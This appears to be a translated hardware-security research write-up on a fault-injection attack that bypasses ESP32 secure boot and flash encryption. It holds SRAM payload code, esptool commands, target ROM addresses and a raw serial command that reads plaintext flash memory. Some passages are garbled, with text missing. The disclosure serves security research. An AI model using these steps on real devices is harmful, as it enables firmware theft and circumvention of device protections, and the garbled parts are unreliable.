... 阅读本文中描述的攻击时,请记住该攻击适用于修订版0和1的ESP32芯片,较新的ESP32 V3支持此攻击中使用的UART Bootloader disable功能。
UART引导程序
在ESP32中,UART引导加载程序以ROM代码实现。除其他事项外,这使将程序写入外部闪存成为可能。将UART引导加载程序实现为存储在ROM中的代码是一种常见的解决方案。由于这样的代码不容易损坏,因此非常可靠。如果此功能基于存储在外部闪存中的代码,则对此类存储器的任何损坏都将导致微控制器完全无法工作。
通常,在引导模式下以特殊模式加载芯片时会组织对此类功能的访问。使用重启设备之前设置的触点跳线(或多个跳线)可以选择此模式。 ESP32为此使用引脚
G0
。
UART引导加载程序支持许多有趣的功能这些指令可用于读取/写入存储器和寄存器,甚至执行SRAM中的程序。
execution任意代码执行
UART加载器支持使用command加载和执行任意代码
load_ram
。ESP32 SDK包含编译可从SRAM执行的代码所需的所有工具。例如,以下代码片段将字符串输出SRAM CODE\n
到串行接口。
void __attribute__((noreturn)) call_start_cpu0()
{
ets_printf("SRAM CODE\n");
while (1);
}
该工具
esptool.py
是ESP32 SDK的一部分,可用于将已编译的二进制文件加载到SRAM中。然后可以运行这些文件。
esptool.py --chip esp32 --no-stub --port COM3 load_ram code.bin
有趣的是,无法禁用UART引导加载程序。因此,即使启用了安全启动和闪存加密,也始终可以访问它。
security其他安全措施
显然,如果您不采取其他安全措施,那么UART引导加载程序的持续可用性将使安全加载和加密闪存的机制几乎无用。因此,乐鑫已实施了基于eFuse技术的其他安全机制。
这些是用于配置安全性参数的位,这些位存储在通常称为OTP存储器(一次性可编程存储器)的特殊存储器中。这种存储器中的位只能从0变为1,而不能相反。这样可以确保如果已设置启用功能的位,则永远不会将其清除。当ESP32在UART引导加载程序模式下运行时,OTP存储器的以下位用于禁用某些功能:
DISABLE_DL_ENCRYPT
: -.DISABLE_DL_DECRYPT
: -.DISABLE_DL_CACHE
: MMU- -.
我们对OTP内存位最感兴趣
DISABLE_DL_DECRYPT
,因为它禁用了存储在闪存中的数据的透明解密。
如果未设置此位,则在使用UART引导加载程序加载微控制器时,您可以像访问普通文本一样组织对闪存中存储数据的简单访问。
如果该位置1,则在使用UART引导加载程序的引导模式下,只能从内存读取加密的数据。仅当ESP32在正常模式下启动时,才启用在硬件中完全实现且对处理器透明的Flash加密功能。
进行攻击时,我们在这里谈论的是,所有这些位都设置为1。
设备热重启后,SRAM数据仍然存在
ESP32单片机使用的SRAM非常普遍。许多芯片使用相同的方法。它通常与ROM结合使用,并负责从闪存启动第一个引导加载程序。由于在使用前不需要进行任何配置,因此在加载的早期阶段使用此类内存非常方便。
先前研究的经验告诉我们,存储在SRAM中的数据只有在被覆盖或不再向存储单元供电后才会改变。芯片冷复位(即电源开/关)后,SRAM内容将复位为默认状态。此类内存的每个芯片都通过设置为值0和1的位的唯一(可能是半随机)状态来区分。
但是在热重启之后,如果在不关闭电源的情况下重启芯片,则可能会发生以下情况:存储在SRAM中的数据保持不变。如下图所示。
冷启动(上)和热启动(下)对SRAM内容的影响
我们决定确定ESP32的上述情况是否成立。我们发现您可以使用硬件看门狗定时器来执行软热启动。即使芯片处于启动模式,也可以使用UART引导加载程序强制该计时器触发。因此,您可以使用此机制将ESP32置于正常启动模式。
使用加载到SRAM中并使用UART引导加载程序执行的测试代码,我们确定SRAM中的数据确实在看门狗定时器启动的热复位之后仍然存在。这意味着我们已经在SRAM中记录了所需的内容,可以照常启动ESP32。
然后出现了关于如何使用它的问题。
失败之路
我们假设我们可以利用以下事实:在热重启后,数据会保存在SRAM中,以进行攻击。我们的第一个攻击方法是使用UART引导加载程序向SRAM编写一些代码,然后使用看门狗定时器对设备执行热重启。然后,由于在正常引导过程中ROM代码用Flash Bootloader代码覆盖了该代码,因此我们通过运行它而导致崩溃。
在早期的实验过程中,将传输数据的过程转换为执行代码的过程之后,我们才有了这个想法。然后我们注意到,在引导加载程序完成复制之前,芯片从起始地址开始执行代码。
有时候,为了达成目标,您只需要尝试一下...
▍将代码加载到SRAM中并用于进行攻击
这是我们使用UART引导加载程序写入SRAM的代码。
#define a "addi a6, a6, 1;"
#define t a a a a a a a a a a
#define h t t t t t t t t t t
#define d h h h h h h h h h h
void __attribute__((noreturn)) call_start_cpu0() {
uint8_t cmd;
ets_printf("SRAM CODE\n");
while (1) {
cmd = 0;
uart_rx_one_char(&cmd);
if(cmd == 'A') { // 1
*(unsigned int *)(0x3ff4808c) = 0x4001f880;
*(unsigned int *)(0x3ff48090) = 0x00003a98;
*(unsigned int *)(0x3ff4808c) = 0xc001f880;
}
}
asm volatile ( d ); // 2
"movi a6, 0x40; slli a6, a6, 24;" // 3
"movi a7, 0x00; slli a7, a7, 16;"
"xor a6, a6, a7;"
"movi a7, 0x7c; slli a7, a7, 8;"
"xor a6, a6, a7;"
"movi a7, 0xf8;"
"xor a6, a6, a7;"
"movi a10, 0x52; callx8 a6;" // R
"movi a10, 0x61; callx8 a6;" // a
"movi a10, 0x65; callx8 a6;" // e
"movi a10, 0x6C; callx8 a6;" // l
"movi a10, 0x69; callx8 a6;" // i
"movi a10, 0x7A; callx8 a6;" // z
"movi a10, 0x65; callx8 a6;" // e
"movi a10, 0x21; callx8 a6;" // !
"movi a10, 0x0a; callx8 a6;" // \n
while(1);
}
该代码实现以下内容(列表项编号与注释中指定的编号相对应):
- 单个命令命令处理程序,用于重置监视程序计时器。
NOP
基于指令的类似物addi
。- 将字符串输出到串行接口的汇编代码
Raelize!
。
▍选择攻击时机
从
F
下图开始,我们可以使用相对较小的攻击窗口。从以前的实验中我们知道,此时引导加载程序代码正在从闪存中复制。
攻击窗口由F表示。
必须先发生故障,然后才能用正确的引导加载程序代码完全覆盖SRAM中的SRAM内容。
▍攻击周期
在我们的每个实验中,我们都采取了以下步骤来验证攻击思路是否有效。故障的成功组织应该导致输出到串行线路接口
Raelize!
。
- 将引脚设置为
G0
低电平并执行冷启动以进入UART引导加载程序模式。 - 使用命令
load_ram
从SRAM执行攻击代码。 - 将程序发送
A
到热启动并返回正常启动模式。 - 使用ROM中的代码从闪存复制引导加载程序的过程中出现故障。
▍结果
在进行了超过一百万次的一天的实验之后,我们仍然没有成功。
result意外结果
但是,尽管我们未能成功实现期望的目标,但我们通过分析实验结果发现了一些意外情况。
在一个实验中,串行接口报告了指示失败导致异常
IllegalInstruction
(无效指令)的数据。它是这样的:
ets Jun 8 2016 00:22:57
rst:0x10 (RTCWDT_RTC_RESET),boot:0x13 (SPI_FAST_FLASH_BOOT)
configsip: 0, SPIWP:0xee
clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00
mode:DIO, clock div:2
load:0x3fff0008,len:4
load:0x3fff000c,len:3220
load:0x40078000,len:4816
load:0x40080400,len:18640
entry 0x40080740
Fatal exception (0): IllegalInstruction
epc1=0x661b661b, epc2=0x00000000, epc3=0x00000000,
excvaddr=0x00000000, depc=0x00000000
当试图导致芯片故障时,这些异常会经常发生。 ESP32也是如此。对于大多数这些例外,将寄存器
PC
设置为期望值(即,正确的地址位于此处)。PC
如此有趣的含义很少出现。抛出
异常是
IllegalInstruction
因为该地址0x661b661b
没有正确的指令。我们决定该值PC
应从某处进入寄存器,并且它本身不能出现在该处。
为了寻求解释,我们分析了加载到SRAM中的代码。查看二进制代码(如下所示)可以使我们快速找到问题的答案。也就是说,在这里很容易找到含义
0x661b661b
...它由两个指令表示,addi a6, a6, 1
在代码的帮助下实现了类似的指令NOP
。
00000000 e9 02 02 10 28 04 08 40 ee 00 00 00 00 00 00 00 |....(..@........|
00000010 00 00 00 00 00 00 00 01 00 00 ff 3f 0c 00 00 00 |...........?....|
00000020 53 52 41 4d 20 43 4f 44 45 0a 00 00 00 04 08 40 |SRAM CODE......@|
00000030 50 09 00 00 00 00 ff 3f 04 04 fe 3f 4d 04 08 40 |P......?...?M..@|
00000040 00 04 fe 3f 8c 80 f4 3f 90 80 f4 3f 98 3a 00 00 |...?...?...?.:..|
00000050 80 f8 01 c0 54 7d 00 40 d0 92 00 40 36 61 00 a1 |....T}.@...@6a..|
00000060 f5 ff 81 fc ff e0 08 00 0c 08 82 41 00 ad 01 81 |...........A....|
00000070 fa ff e0 08 00 82 01 00 4c 19 97 98 1f 81 ef ff |........L.......|
00000080 91 ee ff 89 09 91 ee ff 89 09 91 f0 ff 81 ee ff |................|
00000090 99 08 91 ef ff 81 eb ff 99 08 86 f2 ff 5c a9 97 |.............\..|
000000a0 98 c5 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 3e 0c |...f.f.f.f.f.f>.|
000000b0 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 |.f.f.f.f.f.f.f.f|
000000c0 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 |.f.f.f.f.f.f.f.f|
000000d0 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 |.f.f.f.f.f.f.f.f|
...
00000330 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 |.f.f.f.f.f.f.f.f|
00000340 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 |.f.f.f.f.f.f.f.f|
00000350 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 1b 66 |.f.f.f.f.f.f.f.f|
我们使用这些指令准备了一个“摆动室”,以与
NOP
在漏洞利用中经常使用命令序列以延迟代码执行到正确的时机相似的方式使用它们。我们没想到这些说明会在寄存器中出现PC
。
但是,我们当然不反对使用此功能。我们决定,
PC
当通过ROM代码复制闪存中的数据导致崩溃时,可以将SRAM中的数据加载到寄存器中。
我们很快意识到,我们现在已经具备了准备攻击的所有条件,可以在一次故障中绕过安全启动和闪存加密系统。在这里,我们利用了执行前述攻击过程中获得的经验当我们设法控制登记册时
PC
。
成功之道
对于此攻击,我们使用了以前使用UART引导加载程序加载到SRAM中的大多数代码。此代码仅删除了将字符输出到串行接口的命令,因为现在我们的目标是将寄存器设置为
PC
所需的值,即获得控制系统的能力。
#define a "addi a6, a6, 1;"
#define t a a a a a a a a a a
#define h t t t t t t t t t t
#define d h h h h h h h h h h
void __attribute__((noreturn)) call_start_cpu0() {
uint8_t cmd;
ets_printf("SRAM CODE\n");
while (1) {
cmd = 0;
uart_rx_one_char(&cmd);
if(cmd == 'A') {
*(unsigned int *)(0x3ff4808c) = 0x4001f880;
*(unsigned int *)(0x3ff48090) = 0x00003a98;
*(unsigned int *)(0x3ff4808c) = 0xc001f880;
}
}
asm volatile ( d );
while(1);
}
编译完此代码后,我们便以二进制形式将指令
addi
替换为address 0x4005a980
。ROM中的一个功能是将数据输出到串行接口。成功调用此函数将使我们知道成功的攻击。
我们已准备好处理与先前实验中导致异常的原因一致的故障
IllegalInstruction
。一段时间后,我们发现成功完成了几次PC
将给定地址加载到寄存器中的实验。大小写控制PC
很可能意味着我们可以执行任意代码。
hy为什么会这样?
本部分的标题包含一个不容易回答的好问题。
不幸的是,我们没有明确的答案。我们当然不希望数据操作允许寄存器控制
PC
。我们对此有几种解释,但我们不能完全确定它们中的任何一个都是正确的。
一种解释是,在失败期间,指令的两个操作数都
ldr
用于将值加载到中a0
。这与我们在这次攻击中看到的相似,在该攻击中,我们PC
通过修改数据获得了对寄存器的间接控制。
此外,存储在ROM中的代码有可能实现有助于此攻击成功的功能。换句话说,由于故障,我们可以从ROM执行正确的代码,这导致来自SRAM的数据被加载到寄存器中
PC
。
需要做更多的研究来找出究竟是什么使我们能够进行这种攻击。但是,如果您通过决定入侵该芯片的人的眼光审视此事,我们将具有足够的知识,可以根据影响寄存器的可能性来开发利用程序
PC
。
将闪存内容提取为纯文本
我们可以将所需的
PC
内容写入寄存器,但还不能以纯文本的形式检索闪存的内容。因此,决定利用UART引导加载程序功能。
即,我们决定在芯片处于正常启动模式时直接进入UART引导加载程序。为了进行这种攻击,我们
addi
使用UART引导加载程序代码的起始地址(0x40007a19
)重写了加载到RAM中的代码中的指令。
UART引导加载程序将以下所示的行输出到串行接口。我们可以利用这一事实来确定攻击是否成功。
waiting for download\n"
一旦实验成功,我们可以简单地使用它
esptool.py
来运行命令read_mem
并访问闪存中的纯文本数据。例如,以下命令从外部闪存地址空间(0x3f400000
)中读取4个字节。
esptool.py --no-stub --before no_reset --after no_reset read_mem 0x3f400000
不幸的是,这样的命令不起作用。由于某种原因,处理器的响应看起来像
0xbad00bad
,表明我们正在尝试从未分配的内存中读取数据。
esptool.py v2.8
Serial port COM8
Connecting....
Detecting chip type... ESP32
Chip is ESP32D0WDQ6 (revision 1)
Crystal is 40MHz
MAC: 24:6f:28:24:75:08
Enabling default SPI flash mode...
0x3f400000 = 0xbad00bad
Staying in bootloader.
我们注意到,在UART引导加载程序的开始进行了很多设置。我们假设这些设置也可能会影响MMU。
为了尝试其他事情,我们决定直接进入UART(
0x40007a4e
)引导加载程序本身的命令处理程序。在处理程序中找到自己之后,我们可以独立地将命令read_mem
直接直接发送到串行接口:
target.write(b'\xc0\x00\x0a\x04\x00\x00\x00\x00\x00\x00\x00\x40\x3f\xc0')
不幸的是,如果直接进入处理程序,则进入UART引导加载程序后显示的行(即-
waiting for download\n
)将不会显示。因此,我们失去了识别成功实验的简单方便的方法。结果,我们决定在所有实验中都发送上述命令,无论它们是否成功。我们使用了非常短的串行超时,以最大程度地减少与此超时相关的额外超时。
一段时间后,我们看到了第一个成功的实验结果!
结果
在本文中,我们描述了对ESP32的攻击,在此攻击中,我们绕过了闪存的安全启动和加密系统,仅在微控制器中安排了一个故障。此外,我们使用了攻击期间利用的一个漏洞来提取纯文本格式的加密闪存的内容。
我们可以使用FIRM来解决此攻击。
攻击进度
以下是上述攻击的不同步骤中发生的情况的简要说明:
- 激活(选择用于执行攻击的工具)-此处使用Riscure Inspector FI复合体。
- 注入(攻击)-对正在研究的微控制器产生电磁效应。
- Glitch ( ) — , (, , ).
- Fault ( ) — , , , . , - .
- Exploit ( ) — UART , SRAM, . UART
PC
read_mem
. - Goal ( ) — - .
有趣的是,这种攻击的成功取决于ESP32的两个弱点。第一个弱点是无法禁用UART引导加载程序。因此,它始终可用。第二个弱点是设备热复位后SRAM中数据的持久性。这允许使用UART引导加载程序向SRAM中填充任意数据。Espressif公司
在一份有关攻击的信息报告中报告说,较新版本的ESP32具有使这种攻击无法进行的机制。
所有标准嵌入式系统都容易受到设备中断攻击的攻击。因此,ESP32微控制器也容易受到侧通道攻击也就不足为奇了。像这样的芯片根本设计得不能承受这种攻击。但是,重要的是,这并不意味着此类攻击不会带来任何风险。
我们的研究表明,利用芯片的弱点可以成功进行攻击和破坏。可以从开源中学到的大多数攻击都使用传统方法,其中主要重点是绕过检查。像我们描述的那样,我们没有看到太多关于攻击的报告。
我们相信,此类攻击的全部潜力仍未得到充分挖掘。直到最近,大多数研究人员还只是在研究破坏芯片操作的方法(步骤Activate,Inject,Glitch),但我们走得更远,考虑了发生故障后使用易损芯片的可能性(步骤Fault,Exploit,Goal)。
到2020年及2020年以后的研究
我们有信心,新芯片故障模型的创造性使用将导致使用有趣的漏洞利用策略来实现各种目标的攻击方法的增加。
如果您对本材料中提出的主题感兴趣,请在此处,此处和此处-用于研究ESP32的其他材料。
在实践中,您是否遇到过使用与本文讨论的方法类似的方法来入侵任何设备的行为?